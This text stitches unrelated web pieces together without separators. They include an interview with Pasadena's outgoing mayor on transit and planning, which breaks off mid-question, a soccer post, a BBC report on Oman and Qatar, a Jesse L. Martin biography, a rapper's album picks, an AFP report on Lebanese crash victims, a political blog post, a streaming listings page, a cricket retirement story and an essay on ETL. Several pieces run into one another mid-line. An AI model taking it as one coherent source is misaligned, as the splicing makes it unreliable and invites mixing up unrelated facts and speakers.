Pasadena relies on transportation and transit systems to contribute to the quality of life—to represent to our community that, even with new development, traffic will not be a detriment to enjoying this great city.
Light rail is very important. I am excited about the Foothill extension to Azusa, which will be operational in about 18 months. That will reduce cars on the streets of Pasadena due to the many people who will travel into the city using that new transit system. Of course, we’re working hard to continue the Foothill extension all the way to Claremont, then on to Ontario Airport.
We’ve expanded our local bus system in recent years and redirected the routes to support light-rail stations. We now have 1.5 million passengers a year on the light-rail system. Our intention—through marketing and increased resources, when available—is to increase that number significantly in the years ahead.
We’re working hard on an upgraded Master Plan for bicycling, because I’m convinced bicycles have a significant role to play in making Pasadena a city where one can get around without using a car for every trip. Bicycles will be increasingly accepted and increasingly comfortable on the streets of Pasadena.
Pasadena has been dealing with the 710 since before my family and I moved here in the early 70s. The uncertainty of the project’s future is barely less today than it was 40 years ago. Metro is completing an EIR next year that will provide environmental data on the 710 tunnel and other alternatives. I think that the cost of the tunnel is going to be the key in its failure. The benefit of it is limited, as compared to using some portion of those funds in other ways to improve traffic circulation in this region.
I am pushing thoughtful and well-planned alternatives for much less money, as a way of assuring that traffic congestion in the region will be reduced and traffic circulation will be entirely workable for this area.
Pasadena’s General Plan update, which began in 2009, is now in the draft environmental impact report stage. Talk about the significance of that plan, and how you have organized your city to address community development.
We are committed to having plans that reflect the aspirations of the community. That has been pursued through scores of public hearings and meetings to go over the General Plan update currently underway. We have guidelines that protect our single-family neighborhoods, allowing residents to reinvest in their homes—so-called “aging housing stock” that has now become charming and livable in a way that few newer homes can offer.
In our commercial districts—downtown, East Pasadena, and streets such as North Fair Oaks and East Colorado Boulevard—we have Specific Plans that provide for a balance of residential and commercial development through mixed-use projects. They accommodate persons who want to reduce their use of automobiles by residing in areas accessible to retail outlets, restaurants, entertainment, and jobs.
Pasadena offers a style of living for every outlook: those who like the traditional single-family neighborhood, and those who want a new lifestyle that is less burdened by a garden and the care of a single-family home.
Because the City of Los Angeles recently flirted with merging its planning and enforcing divisions into one unit, discuss how Pasadena has organized the city’s bureaucracy to meet the expectations of your constituents.
Our split of services acknowledges explicitly the difference between economic development and the planning function. There can be a conflict when the person responsible for encouraging companies to come or supporting new investment that involves large buildings is also responsible for administering the zoning code. There is sometimes a temptation not to apply zoning requirements with the strictness called for by the plan or by the community’s expectation.
Development in Pasadena is directly under the city manager. He and his team are working very hard to make Pasadena highly attractive to new investment through expansion of existing companies and arrival of new companies.
At the same time, a separate team is pursing the General Plan update. They are working on specific revisions to our General Plan and zoning codes to assure the guidelines make as much sense as possible for the long-term interests of the city, and are administered consistently with the plans and hopes of the many people who worked hard to achieve them.
In a TPR op-ed written by Rick Cole—before he joined the Garcetti administration—called “City Planning in Los Angeles Surrenders in Merger to Create Efficiencies,” he said: “Simply speeding up the dysfunctional process is clearly not the solution. The primary problem isn’t that the production line is too slow. The primary problem is that it is producing crap.” What can LA learn from Pasadena, now that you’re stepping down from office and can comment on anything?
Planning is a contextual effort. When you plan for a community of Pasadena’s size and administer the rules, it is less difficult than for a community as large as Los Angeles. Some of our experience might well be applicable, namely our commitment to community comment and participation. I think that’s intended in Los Angeles by the neighborhood councils. Beyond that, Pasadena shows a commitment to stick by the rules in place for land-use planning, so that more influential developers are not able to shape the application of rules to be consistent with their intent.
Balancing development activity, housing, investment, and capital-improvement projects is another mayoral challenge. What is the economic health of the city? What investments are being (and should be) made in the Pasadena of the 21st century?
I’m very proud of what our Council, working closely with the city manager, has accomplished in terms of financial stability and sustainability in the wake of the recession. Our work force is 300 persons less than five years ago. Many cost savings were implemented in order to assure a balanced budget.
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The financial situation continues to be challenging because of increased costs of city operations—for example, public-sector pension plans. But the city has made hard decisions about how to operate with the resources available. Even with these challenges, I have confidence that it will continue to be known for quality municipal service and responsiveness to the needs of all in the community.
Mayor, you have always had excellent relationships with all of the stakeholders of Pasadena, including its work force. Bring your thoughts to bear on how cities should be dealing with their growing public-employee pension obligations.
The first step—to re-negotiate who pays for employee pensions—has been completed in Pasadena over the last two or three years. The city has an annual assessment described as the employer’s payment. But over time, the city and many others have agreed to pay portions of the employee’s assessment. That has been reversed through negotiations, and at this point in time, employees all pay each year for the full employee assessment. That’s not an insignificant change, and the benefits will accrue over time.
We have not yet created a new, more sustainable pension system for new employees, as some communities have. The city needs to take this up in the near future.
I should mention that careful attention is being paid these days, by this city and others, to how CALPERS conducts its business. Cities intend to be activists in following the practices of CALPERS. Its decisions must be responsible and sustainable in regard to benefits that are offered.
At the time of this interview, an LA Times editorial is endorsing upping the minimum wage in the City of LA to encourage and support the growing of better-paid jobs. How has Pasadena done |
Pittsburgh soccer. We want to give the Devils our full support as we watch them give Louisville their first of two losses at Highmark next week. Kickoff is at 7 pm. Ticket are $5 and can be bought in advance on Ticketmaster. Treat it like a Riverhounds match day. I’m sure some people will be down early to tailgate.
Hope to see as many of you as possible on Wednesday.
#UNLEASHImage caption Protesters have camped outside Oman's consultative assembly demanding jobs
After revolutions in Tunisia and Egypt, uprisings in Yemen and Syria, and serious unrest in the Gulf state of Bahrain, The World Tonight's Robin Lustig reports from Oman and Qatar on whether it is likely there could be more revolts there.
Usually when you see the word Oman, it is preceded by the word "sleepy".
It lies on the south-eastern edge of the Arabian Peninsula, and for centuries it has been valued for its strategic location at the mouth of the Strait of Hormuz, linking the Gulf to the Indian Ocean.
But over the past few weeks, Oman has been stirring from its slumber.
In late February, at least two people were killed during clashes in the city of Sohar between security forces and protesters demanding more jobs.
Ticking time-bomb
"Oman's stability was always just a cover," says activist Basma al-Kiyumi.
She gives credit to the country's ruler, Sultan Qaboos bin Said, for having responded promptly to protesters' demands, but says his words must now be followed by actions.
"Oman," she says, "is still a bomb waiting to explode."
Unemployment is relatively high in Oman, which has only limited oil reserves and is one of the poorest of the oil-producing countries.
Find out more Hear Robin Lustig reporting from Oman and Qatar weeknights on The World Tonight at 2200 BST on BBC Radio 4 Or catch up on the podcast
Outside the Majlis al-Shura, the consultative assembly, there is a permanent encampment of protesters demanding jobs. They say they will not budge until their demands are met.
Sultan Qaboos has ruled as an absolute monarch for the past 40 years.
He has a reputation as a pro-Western reformer who introduced paved roads, schools and hospitals into what had been a remote and seriously under-developed nation.
But he is now facing unprecedented challenges from the streets as a direct result of the wave of uprisings that has swept through the region.
When I visit Sultan Qaboos university, the country's only publicly-funded university, students are celebrating the launch of Oman's first student newspaper.
"Just within the past few weeks, we've seen much more press freedom," one of them tells me. "You can write things about ministers that never used to be said publicly. There really has been a big change."
Image caption Student journalists launching a paper in Oman are happy there is more press freedom already
The Sultan has been credited with reacting speedily to the protests in February and March.
He sacked 12 of his ministers, increased the minimum wage, and promised to create 50,000 new jobs.
His richer Gulf neighbours are providing cash to help him - after all, none of them wants to see chaos in a country where, because about 40% of all the world's tanker-borne oil passes through the Strait of Hormuz, stability is so vital to their own wealth.
If you have everything you need, who needs democracy? Qatari student
As soon as you mention wealth you think of Qatar, a tiny pinprick of a country half way up the Gulf, sticking out like a thumb from the Arabian peninsula, and now reckoned to be the richest country in the world.
Its total population is around 1.6m, but of those, only about 250,000 are Qatari. The rest are foreign workers who keep the place going, build its gleaming high-rise offices and hotels, and staff its service industries.
Qatar is awash in oil and natural gas, and if you ask why there have been no protests in Qatar, the answer you get is: "Because there's no reason to protest."
Game plan
On the other hand, even if jobs are not a problem in a country with an economic growth rate approaching 20% a year, Qatar is still an absolute monarchy, with a ruler, Emir Hamad bin Khalifa Al Thani, whose family have run the place since the mid-1800s.
So why are Qataris not demanding democracy, in the same way as so many others are elsewhere in the Arab world?
Image caption "Brand Qatar" is recognised as its strategy of spending wisely and giving generously
The reply I get from a Qatari student is simple enough: "If you have everything you need, who needs democracy?"
But wouldn't they at least like a public debate over the Emir's decision to send Qatari warplanes to join the Nato-led military operation in Libya?
There is no need, I am told, because just about everyone agrees that it is right for Qatar to help fellow-Arabs in their hour of need.
As for the paradox of a country with no semblance of democracy sending warplanes to help people fighting for democracy thousands of miles away - there's no paradox at all, I am told.
The involvement in Libya is simply designed to help save lives. It has nothing to do with democracy.
Qatar prides itself on its ability to make friends (how many countries can you think of who manage to remain on good terms with both the US and Iran?).
"Brand Qatar" is what some people call it - spend wisely, give generously, and keep your name in the public eye.
And if it helps you to win the right to host the World Cup football tournament in 2022, well, no-one in Qatar is complaining.
Robin Lustig is reporting from Oman and Qatar this week on The World Tonight at 2200 BST on BBC Radio 4.American actor
Jesse Lamont Martin (né Watkins; January 18, 1969) is an American actor and singer. He is best known for originating the role of Tom Collins on Broadway in the musical Rent and his television roles as NYPD Detective Ed Green on Law & Order and Detective Joe West on The Flash.
Early life [ edit ]
Martin, the third of four sons, was born in Rocky Mount, Virginia. His father, Jesse Reed Watkins (1943–2003), was a truck driver, and his mother, Virginia Price, a college counselor; the two divorced when he was a child.[1] His mother eventually remarried and Martin adopted his stepfather's surname.[2]
When Martin was in grade school, the family relocated to Buffalo, New York, but Martin began to dislike speaking because of his Southern accent and was often overcome with shyness. A concerned educator and mentor influenced him to join an after-school drama program and cast him as the pastor in The Golden Goose. Being from Virginia, the young Martin played the character the only way he knew how: as an inspired Southern Baptist preacher. The act was a hit, and Martin emerged from his shell.[2] Martin attended high school at the Buffalo Academy for Visual and Performing Arts, where he was voted "Most Talented" in his senior class. He later enrolled in New York University's Tisch School of the Arts' theatre program, and while at NYU he was also the popular president of Rubin Dorm, the former domain of Mark Twain.
Career [ edit ]
After graduation, Martin toured the states with John Houseman's The Acting Company. He appeared in Shakespeare's Rock-in-Roles at the Actors Theatre of Louisville and The Butcher's Daughter at the Cleveland Play House, and returned to Manhattan to perform in local theatre, soap operas, and commercials. Finding that auditions, regional theater, and bit parts were no way to support himself, Martin waited tables at several restaurants around the city. He was literally serving a pizza when his appearance on CBS's Guiding Light aired in the same eatery. While the show aired, the whole waitstaff gathered around the bar television to cheer his performance. Often, during the dinner rush, he broke out in song. When he gave his customers their dinner checks, he told them to "keep it, because someday I'll be famous!"[citation needed]
Martin made his Broadway debut in Timon of Athens, and then performed in The Government Inspector with Lainie Kazan. While employed at the Moondance Diner, he met the playwright Jonathan Larson, who also worked on the restaurant's staff. In 1996, Larson's musical Rent took the theatre world by storm, with Martin in the role of gay computer geek/philosophy professor Tom Collins. The 1990s update of Puccini's La Bohème earned six Drama Desk Awards, five Obie Awards, four Tony Awards, and the Pulitzer Prize. In 1998, the West End production of Rent opened with four of the original cast members, including Martin. He played Tad in the concept album of Bright Lights, Big City.
In 2010, Martin returned to the stage for one of his biggest theater commitments since Law & Order, performing in the productions of The Merchant of Venice and The Winter's Tale as a part of The Public Theater's Shakespeare in the Park at the Delacorte Theater in Central Park. He played the roles of Gratiano and King Polixenes, respectively. The two shows were performed in repertory, beginning with previews on June 9, 2010, through to the final performance on August 1, 2010.
The Merchant of Venice later transferred to Broadway to the Broadhurst Theater for a limited engagement, in which Martin reprised his role as Gratiano. The show began previews on October 19, 2010, and officially opened on November 7. The show began a hiatus on January 9 to accommodate Al Pacino's pre-existing obligations, and resumed from February 1, 2011, to February 20, 2011; Martin did not reprise his role after the hiatus due to other work commitments.[3] He took part in a one-night-only reading benefit of Romeo and Juliet to celebrate the 50th anniversary of the opening of the Delacorte Theater in Central Park, alongside Meryl Streep, Kevin Kline, Raúl Esparza, and others on June 18, 2012.[4]
Television [ edit ]
Martin landed roles on Fox's short-lived 413 Hope St. and Eric Bross's independent film Restaurant (1998). Ally McBeal's creator, David E. Kelley, attended Rent's Broadway premiere and remembered Martin when the show needed a new boyfriend for the title character. His performance as Dr. Greg Butters on Ally McBeal caught the attention of David Duchovny, who cast Martin as a baseball-playing alien in a 1999 episode of The X-Files titled "The Unnatural" that Duchovny wrote and directed.
While still shooting Ally McBeal, Martin heard rumors that actor Benjamin Bratt planned to leave the cast of Law & Order. Martin had tried out for the show years before and won the minor role of a car-radio thief named Earl the Hamster, but decided to wait for a bigger part. With the opportunity presenting itself, Martin approached Law & Order producer Dick Wolf regarding the opening. Wolf hoped to cast him, and upon hearing that CBS and Fox both offered Martin development deals, he gave the actor the part without an audition.[5][6]
From 1999 to 2008, he played Detective Edward "Ed" Green on Law & Order. Altogether, he was the fifth-longest serving cast member behind S. Epatha Merkerson, Sam Waterston, Jerry Orbach, and Steven Hill. He had a brief hiatus at the end of the 2004–2005 season while he was filming the movie adaptation of Rent in which he reprised the role of Tom Collins. Martin's final episode of Law & Order aired April 23, 2008, as he was replaced by Anthony Anderson. Martin returned to NBC a year later as the co-star of The Philanthropist.
On September 14, 2012, NBC announced that Martin would be joining the cast of Smash during season two for a nine-episode arc as Scott Nichols, the artistic director of the Manhattan Theatre Workshop.[7] Martin also starred in an NBC pilot called The Secret Lives of Husbands and Wives as Greg Cooke,[8] however it was not picked up to series.[9]
Martin currently portrays Joe West in the superhero series The Flash, a spin-off from Arrow which premiered in October 2014.[10] In the third season episode "Duet", Martin played gangster Digsy Foss in Barry and Kara's dreamworld. In its fifth season in 2018, a back injury forced Martin to take medical leave following the season's fourth episode. From the start of the season until then he was almost always leaning against a wall or sitting down. Martin returned from medical leave in January 2019 with the season's fifteenth episode.[11]
Film [ edit ]
On March 4, 2013, it was announced that Martin would replace Lenny Kravitz as Marvin Gaye in Sexual Healing, an upcoming biopic directed by Julien Temple, and produced by Vassal Benton and Fred Bestall.[12][13] Martin had been attached to the Marvin Gaye biopic for years and had stated that it was his dream role to portray the legendary Motown singer.[12][13] With only three weeks to go on a planned nine-and-a-half week shoot, it was reported that production had stopped on the biopic, primarily due to financial problems [14] (crew members were said to have not been paid fully for their work on the film[15]). Approximately 70% of the film had been shot.[16]
Other work [ edit ]
Martin narrated the audio book The Fire Next Time by James Baldwin and On the Shoulder of Giants, Volume 2: Master Intellects and Creative Giants by Kareem Abdul-Jabbar.[17][18] He co-produced the off-Broadway production of Fully Committed with Rent co-star Adam Pascal (and two other producers).[2][19]
Martin sits on the board of trustees for the Jonathan Larson Performing Arts Foundation along with Rent co-producer Kevin McCollum.[20][21]
Personal life [ edit ]
In October 2006, Martin returned to Buffalo, New York to work on an independent film (Buffalo Bushido), and was robbed two days later.[22]
In 2018, Martin suffered a back injury during the summer, which resulted in him being unable to commit to the fifth season of The Flash. He took a medical leave of absence from the show after filming scenes for a few episodes.[23]
He is a resident of Manhattan.[24][25]
Stage work [ edit ]
Filmography [ edit ]Curren$y: 5 Albums That Changed My Life
When someone listens to Curren$y, they can expect a lot of clever pop culture references and inventive ways of talking about everyday life in his laid-back flow.
The New Orleans native had stints on legendary labels like Young Money and No Limit, but didn’t truly come into his own as one of hip-hop’s favorite stoners until he struck out on his own.
With last week’s release of his new album, Canal Street Confidential, Curren$y adds to an impressive catalog that includes numerous mixtapes and the beloved Pilot Talk trilogy.
In this edition of 5 Albums That Changed My Life, we asked Curren$y to delve into five records that shaped his own musical persona.
* * *
Raekwon: Only Built 4 Cuban Linx…
“North Star” saved my life. I was recovering from surgery, a few years back, and at the time that song is the only thing that could get me to ignore the pain of those screws setting in.
Camp Lo: Uptown Saturday Night
Camp Lo created another language, damn near, and made the Seventies vibe and style to rap.
Soulja Slim: Give It 2 ‘Em Raw
Magnolia (Soulja) Slim was and, even after he died, is still New Orleans.
Snoop Dogg: Doggystyle
Gangsta shit, playa shit, lowridin’ and just all around coolness.
Lil Wayne: Tha Carter II
I was on that mother fucker… All in the album art. [laughs]Lebanon has handed over DNA samples from relatives of 20 citizens killed in a July 24 Air Algerie plane crash in Mali, a foreign ministry source told Agence France-Presse on Friday.
Mali is leading the investigation into the crash in which 118 people were killed when their plane went down in a remote area on the southern edge of the Sahara.
The Lebanese foreign ministry source said pathologist Fouad Ayyoub had taken DNA samples from the relatives of the Lebanese believed to have died in the crash to France, after visiting Mali with a Lebanese delegation following up on the crash.
The delegation arrived in Mali on Sunday, with Ayyoub then going on to France with the samples, the source said.
Efforts to recover and identify those killed are proving tough, with French experts at the scene saying they had yet to find "intact bodies."
The wait is agonizing for Lebanese relatives, including 23-year-old Fatima Basma, whose sister Randa and her three children were killed.
"A great disaster has happened to us. They (Lebanese officials) have told us that the French are looking for the body parts. I hope that they will find my sister's body so I can bury her," she told AFP.
Basma is dressed in black, and at her modest home in Srifa in southern Lebanon verses of the Muslim holy book Quran were being recited as the family waits for news of the investigation.
In the southern Lebanese village of Haris, the family of Manji Hassan is still accepting condolences after his death, along with his wife and four children, in the crash.
The loss is all too familiar for the extended family: Manji Hassan's brother-in-law -- his sister's husband Saeed Zahawi -- was among those killed in a 2010 Ethiopian Air crash.
Hassan's brother Ahmed, 41, weeps as he describes waiting for news from the investigation.
"We hope that the French authorities help find the remains of my brother Manji and his family so we can lay them to rest next to Saeed," he said.
"We want to be able to visit" their graves, he adds.
Foreign Minister Jebran Bassil pledged Thursday that the government would do everything possible to ensure the remains of the Lebanese killed in the crash were returned to their families.
Flight AH5017, which took off early on the morning of July 24 from Ouagadougou in neighboring Burkina Faso bound for Algiers, went missing amid reports of heavy storms.
Many of the Lebanese on the flight were dual nationals living in Burkina Faso, where many Lebanese live and work.
There were also 54 French citizens on the jet, alongside 23 Burkinabe, and nationals of Algeria, Spain, Canada, Germany and Luxembourg.
An international team of investigators is backed up by several hundred soldiers -- French, Malians and troops in MINUSMA, the U.N. peacekeeping mission in Mali -- who have secured the site.
But investigators have cautioned that the search is proving difficult and the heat is also degrading the crash site.Rep. Stephen Fincher, Republican of Tennessee, explains why the government needs to reduce spending on the Supplemental Nutrional Assistance Program that provides food to poor families:
Here in Tennessee, Mr. Fincher embraces that view. “We have to remember there is not a big printing press in Washington that continually prints money over and over,” he said in May.
There in fact is a printing press—several of them—right here in Washington, D.C. that does exactly that. It is located at the corner of C Street and 14th Street Southwest and tours are available to the public. It’s about a 30 minute walk from Fincher’s office in the Longworth House Office Building or you can take Metro’s Blue or Orange lines from the Capitol South station to the Smithsonian station for a faster ride. I’ve actually never been, but I did tour the Bureau of Engraving and Printing’s Western Currency Center in Fort Worth, Texas one time and it was quite interesting. If Fincher prefers a more outside the beltway experience, he might want to check that out.
Meanwhile, in addition to being ignorant, Fincher is a bit of a moral obscenity:
Surrounded by corn and soybean farms—including one owned by the local Republican congressman, Representative Stephen Fincher—Dyersburg, about 75 miles north of Memphis, provides an eye-opening view into Washington’s food stamp debate. Mr. Fincher, who was elected in 2010 on a Tea Party wave and collected nearly $3.5 million in farm subsidies from the government from 1999 to 2012, recently voted for a farm bill that omitted food stamps.
“The role of citizens, of Christianity, of humanity, is to take care of each other, not for Washington to steal from those in the country and give to others in the country,” Mr. Fincher, whose office did not respond to interview requests, said after his vote in May. In response to a Democrat who invoked the Bible during the food stamp debate in Congress, Mr. Fincher cited his own biblical phrase. “The one who is unwilling to work shall not eat,” he said.
The fact that Fincher personally received farm subsidies is interesting, but only semi-telling. I personally benefit from the home mortgage interest tax deduction and plan on continuing to do so as long as it stays law, but I still think it should be eliminated or drastically curtailed. The problem with Fincher isn’t that he’s scooped up farm subsidies, it’s that the appropriations bill he’s votes for continues to direct huge subsidies to rich farmers like himself even even while he preaches the evils of government spending to support the poor.Coming Soon
Christmas in the Wild
After her husband leaves her, a stylish New Yorker goes on an African safari alone and finds new purpose in her life. Kristin Davis and Rob Lowe star.
Your Son
After his son is brutally beaten outside a nightclub, a surgeon takes the law into his own hands and seeks vengeance against the perpetrators.
Rudy Ray Moore
When Hollywood shut him out in the 1970s, multi-talented Rudy Ray Moore created his own work, including the well-known blaxploitation film, "Dolemite."
Chambers
Consumed by the mystery surrounding the donor heart that saved her life, a young patient starts taking on sinister characteristics of the deceased.
Invisible Cities
While investigating a murder, a detective is drawn into a battle between the visible world and an underground realm inhabited by mythical creatures.
Cobalt Blue
When a brother and sister fall in love with the same man, ensuing events shatter a traditional Marathi family. Based on Sachin Kundalkar's novel.
Flinch
Faced with various frightening and uncomfortable events, contestants in this game show had better not flinch -- or they'll suffer painful consequences.
Quicksand
After a tragedy at a Stockholm prep school, high school student Maja finds herself on trial for murder. Based on the best-selling novel.MICHAEL Hussey has made the shock decision to retire from international cricket.
Hussey will play his final Test against Sri Lanka at the Sydney Cricket Ground from January 3. He will also play the one-day international series against Sri Lanka and the West Indies.
The 37-year-old told Cricket Australia his desire to spend more time with his family was his primary motivation for announcing his retirement.
"I was quite excited to tell them (children) that I'm not going to go away and play for Australia any more," Hussey said.
"They were happy, but not as excited as I thought they were going to be. So it was a bit of a shock."
Hussey has scored 6183 runs at 51.52 from 78 Tests. He has also represented Australia in 185 one-day internationals and 38 Twenty20 internationals.
Usman Khawaja is likely to replace Hussey in the Test batting line-up.
Hussey was a central plank in Australia's plans for the forthcoming tour of India and the 10 Ashes Tests to be contested over the next 12 months.
His retirement means Australia will field a new-look top order that includes Phil Hughes, who replaced Ricky Ponting after he too retired after the third Test against South Africa earlier this summer.
Hussey said any Test match is a stressful experience, but admitted next week could be different.
"That’s one thing about playing for Australia, there is always a lot of stress and pressure to perform," he said.
"I feel like I can come into this last Test match with no pressure whatsoever.
"I can just really go out there and enjoy it.
"It will be nice to be able to sit back when it’s all finished and really reminisce over some fantastic memories and great wins for Australia."
Hussey refused to reveal who he had chosen as his replacement as the team song leader.
"I have made up my mind and I haven’t told him officially yet, I want to keep it to myself until I have spoken to him," he said.
MIKE HUSSEY RETIRES
Age: 37
Born: Perth, Western Australia
Left-hand middle-order batsman, right-arm medium-pace bowler
TEST RECORD:
Matches: 78
Runs: 6183 runs (12th highest for Australia)
Average: 51.52
Hundreds: 19
Fifties: 29
Wickets: 7 42.71
Test debut: Australia v West Indies at Brisbane, November 3-6, 2005One of the key assumptions of the current business environment is that competence in using data to improve your business operations can be a source of competitive advantage. It doesn’t matter if you are a follower of the new school gurus like Hilary Mason or DJ Patil, or the old school like Tom Davenport, they all preach the same message: There’s gold in that thar data.
Of course, how to get the gold out is the trick.
In my view, anything can work. Wal-Mart makes billions off of its traditional data warehouse and has huge numbers of big data projects rolling. Facebook, a big data native company if there ever was one, has created new technologies such as Cassandra to process columnar data at scale and Presto to support SQL because scalable support for SQL was so critical to its data processing needs. Companies like Capital One have leadership that is data-obsessed and have truly created a data-driven culture, a holy grail that many companies aspire to. One ex-Googler explained to me that Google’s flat organizational hierarchy works only because there is so much data around about what is happening. “Data plays the role of middle-management at Google,” he said.
So, yes, I, and the rest of the world, have drunk the data Kool-aid.
Why ETL is Crucial
But, in my view, there is a crucial skill that used to go by the name of ETL that is highly undervalued and crucial to making all of this work. Here’s why.
The landscape of data is growing rapidly. We now have access to new forms of big data, but also many high quality curated data sets from APIs, from the IoT, from server logs, from web crawling and on and on.
But none of this data comes in a form that is ready for use to solve the problems of your business.
In order to make the data useful, you must move it around, transform it, distill it, combine it with other data, address any quality issues, and deliver it to a repository used for reporting and analytics. This process in the past was known as ETL. Without increasing the capacity for ETL, companies will find themselves with a lot of data they cannot put to use.
To be the most valuable, ETL transformation must be run as a continuous process. That means that ETL transformation takes place through numerous programs that accept new data and transform it to the state needed. In this way, the repository for reporting and analytics is kept up to date.
ETL was born when numerous applications started to be used in the enterprise, roughly at the same time that ERP started being adopted at scale in the late 1980s and early 1990s. Companies needed to combine the data from all of these applications into one repository (the data warehouse) through a process of Extraction, Transformation, and Loading. That’s the origin of ETL.
So, since these early days, ETL has essentially gotten out of control. It is not uncommon for a modest sized business to have a million lines of ETL code. ETL jobs can be written in a programming language like Java, in Oracle’s PL/SQL or Teradata’s SQL, using platforms like Informatica, Talend, Pentaho, RedPoint, Ab Initio or dozens of others.
With respect to mastery of ETL, there are two kinds of companies:
The ETL Masters, who have a well developed, documented, coherent approach to the ETL jobs they have
The ETL Prisoners who are scared of the huge piles of ETL code that is crucial to running the business but which everyone is terrified to change.
The looming crisis facing the world of ETL is that the expansion of the landscape of data means that the demand for ETL jobs is skyrocketing but the methods to implement ETL jobs are not well understood by businesses, nor is the talent to create the jobs available.
The ETL bottleneck is just one bottleneck holding back the full exploitation of data, but it is the most important one. Others include:
Creating the appetite for using data at all to build models of the business.
Creating and managing a commonly understood integrated model.
Expanding understanding of analytics and statistics.
Enabling self-service.
As I pointed out in “Curing the Big Data Storage Fetish,” the result of ETL and other bottlenecks is that the amount of data being stored is rising but the percentage of data being put to use is falling.
If you want to get the benefit from all of the data that is becoming available, your company must have a coherent approach to designing, implementing, and managing a rapidly growing portfolio of ETL jobs.
In my experience, most data intensive companies are grappling with this issue but few have conquered it. Companies that are not heavy users of data are generally ETL Prisoners, afraid of their current ETL jobs and not sure how to make progress.
How ETL has Become Data Engineering
One of the reasons solving the ETL problem has become so difficult is that the problem is so different in so many different businesses. Here are three examples:
In a digital marketing application, you need to collect all the information from all the clicks on websites and mobile apps, bring them together, connect them to user information and create a behavioral profile. This profile then is then used to segment users, run A/B tests, and perform other types of personalization. In this process, the data must travel between a high-speed operational repository to support personalization, a big data repository to distill the click data, and SQL-based repositories for segmentation.
In manufacturing applications, it is common for data from thousands of pieces of equipment to be monitored in real time for events that may indicate urgent problems. Once in the big data repository, machine learning and other deep learning analytics may be applied to find patterns that indicate problems that are emerging slowly or ways to optimize use of the equipment.
In a consumer marketing organization, all sorts of data are arriving in various forms of quality from a large amount of sources. This data must be cleaned, normalized, and then functions such as assembling households must be performed.
In all of these cases, a lot more than simple ETL is going on. Real time processes, advanced matching, specialized collection of data, advanced analytics, and lots of other stuff is happening. In addition, the flow of data is no longer the simple one-way trip from the application to the data warehouse.
We need new language to describe what is going on. The structure being built by modern businesses is no longer a data warehouse but a data supply chain that has many centers of gravity. Most data supply chains have two centers of gravity: a transactional data warehouse that serves up the commonly understood integrated model of the business and a big data repository that handles all sorts of new types of data and analytics and workloads that are better suited for it. And then there are mobile apps with supporting edge servers, IoT data, third party data sets, and so on. Many of these repositories consume and provide data. It is also vital that data move or be replicated between repositories. Big data often needs master data to support analysis. The results of a big data analysis are often operationalized through the data warehouse.
I refer to the sophisticated movement of data in a data supply chain as data logistics, which means just the same as it does in the world of physical supply chains. In the data supply chain, data must be moved, synchronized, replicated, subject to change data capture processes and so on. But the larger concept that is taking the place of ETL is data engineering, a superset of data logistics that includes all of the more advanced work done for transformation, matching, analytics and so on. Some companies use the term data integration, but that, to me, seems like synonym for ETL, not a larger concept.
The second reason that mastering ETL, or rather data engineering, is so difficult is that there are so many tools with overlapping capabilities. Because the ETL/data engineering problem has been around so long, there are several generations of technologies that have attacked it:
Informatica, Ab Initio, the suite that has become Pervasive, and Syncsort have been around forever in enterprise software terms. IBM and Oracle both have offerings as well.
Talend and Pentaho are commercial open source projects aimed at the same problem.
Attunity provides advanced capabilities for data logistics such as synchronization, replication, and change data capture in addition to tracking who is using which data and an overview of the traffic in a data supply chain.
RedPoint is a newer system for data blending and data quality offering that has powerful capabilities for household creation and advanced matching.
Blackline is an application for accounting reconciliation that has powerful matching capabilities.
Splunk and its many imitators play an important role distilling log data and other semi-structured data in many data supply chains.
Splice Machine, Hive, Cascading, Spark and many others provide key plumbing for moving and accelerating ETL and analytical workloads to Hadoop.
Qlik offers a full stack to perform ETL tasks to prepare data for its reporting and analytics dashboards.
Platfora, Datameer, and ClearStory Data provide environments that perform ETL tasks on data in big data repositories and in some cases in other repositories for delivery through each company’s reporting and analytics system.
Trifacta, Paxata, Loom, and Tamr are all attacking the task of helping people find signals in data through machine assisted analysis and curation.
Collibra and Alation are attacking the challenge of creating value-added data catalogs.
This list could go on and on, and many of these technologies belong in more than one category. (One of my goals for 2016 is to create a taxonomy of technology related to the data supply chain and the analytics and reporting value chain, so please send along ideas about relevant technologies.)
In addition, it can be hard to recognize when a product is a good enough fit to use and when you should just code a solution. The ETL/data engineering products vary widely in maturity, and some parts of each product are far more mature than others. It is vital to have a sophisticated understanding of your requirements and of the products to get the right fit.
How to Break the Bottleneck
The bottleneck is broken at most companies of significant size by understanding the different categories of ETL workloads and creating a portfolio of solutions designed to handle those workloads. The Netflix Genie project provides a good general idea of an advanced Hadoop-based implementation of such an approach. In the Genie system, each Hadoop workload is described by metadata. The Genie system then uses that metadata to match the workload with the Hadoop cluster that is the best fit.
The Genie system is all about matching workloads with respect to an execution environment. The ETL/data engineering bottleneck can be broken when you are able to increase your ability to achieve the following goals:
Increase self-service: Increase the number of people who can create ETL jobs. This has the effect of increasing your ETL capacity.
Reduce demand for ETL: Use dual-engine architectures like SAP HANA or Splice Machine that allow one repository to be used for both transaction processing (OLTP) and analytics (OLAP). This structure reduces the demand for ETL by engineering the need for ETL out of the system.
Reduce technical debt: Reduce maintenance, admin, and cost of change by using higher level tools when possible.
Reduce administrative overload: Increase automation of ETL job execution and documentation.
Increase operational reporting and analytics: Monitor the pipeline and dependencies to reduce impact of failures. Identify the jobs that handle the most frequently used data.
Optimize execution environments: Match the workloads to the most cost-effective environment. Batch jobs that are not time sensitive need not be run on high performance computing environments. The Hadoop vendors play this card often, but companies like Teradata have fought back with smaller machines to store and process batch workloads at an attractive cost per gigabyte
By implementing your ETL/data engineering in a way that achieves as many of these goals as possible, you not only will become an ETL master, but you will be able to accelerate the pace at which the massive landscape of data becomes available to the business.
The challenge is that most companies find it hard to admit they have as much variety in their ETL/data engineering workloads as they really do. They want to buy one tool, one solution to handle everything. Vendors are more than happy to make that claim, but unless your strategy is to use Java and a programming environment like Cascading for everything, you will probably need a mix of tools to handle everything in the most cost effective manner. This mix needn’t include lots of tools and platforms, but it rarely includes just one.
